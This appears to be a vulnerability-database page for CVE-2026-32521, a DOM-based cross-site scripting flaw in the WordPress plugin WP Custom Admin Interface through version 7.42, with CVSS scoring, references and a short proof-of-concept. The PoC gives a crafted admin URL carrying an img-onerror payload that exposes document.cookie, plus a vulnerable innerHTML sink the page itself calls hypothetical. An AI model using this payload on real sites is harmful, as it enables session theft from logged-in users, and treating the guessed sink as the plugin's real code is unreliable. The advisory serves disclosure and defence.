CVE-2026-32521

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Northern Beaches Websites WP Custom Admin Interface wp-custom-admin-interface allows DOM-Based XSS.This issue affects WP Custom Admin Interface: from n/a through <= 7.42.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Custom Admin Interface <= 7.42

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- PoC Concept for CVE-2026-32521 -->
<!-- Description: Injecting payload via URL parameter reflected in DOM -->

<!-- Step 1: Attacker crafts the URL -->
<!-- https://target-site/wp-admin/admin.php?page=wp-custom-admin-interface&setting_id=<img src=x onerror=alert(document.cookie)> -->

<!-- Step 2: Vulnerable JavaScript in the plugin (Hypothetical based on description) -->
<script>
    // The plugin likely takes input from the URL and renders it unsafely
    // var settingId = new URLSearchParams(window.location.search).get('setting_id');
    // document.getElementById('display-area').innerHTML = settingId; // Vulnerable Sink
</script>

<!-- Step 3: Verification -->
<!-- When an authenticated low-privilege user clicks the link, the alert box pops up -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32521
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32521
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32521/
[4] VulDB https://vuldb.com/cve/CVE-2026-32521
[5] https://patchstack.com/database/Wordpress/Plugin/wp-custom-admin-interface/vulnerability/wordpress-wp-custom-admin-interface-plugin-7-42-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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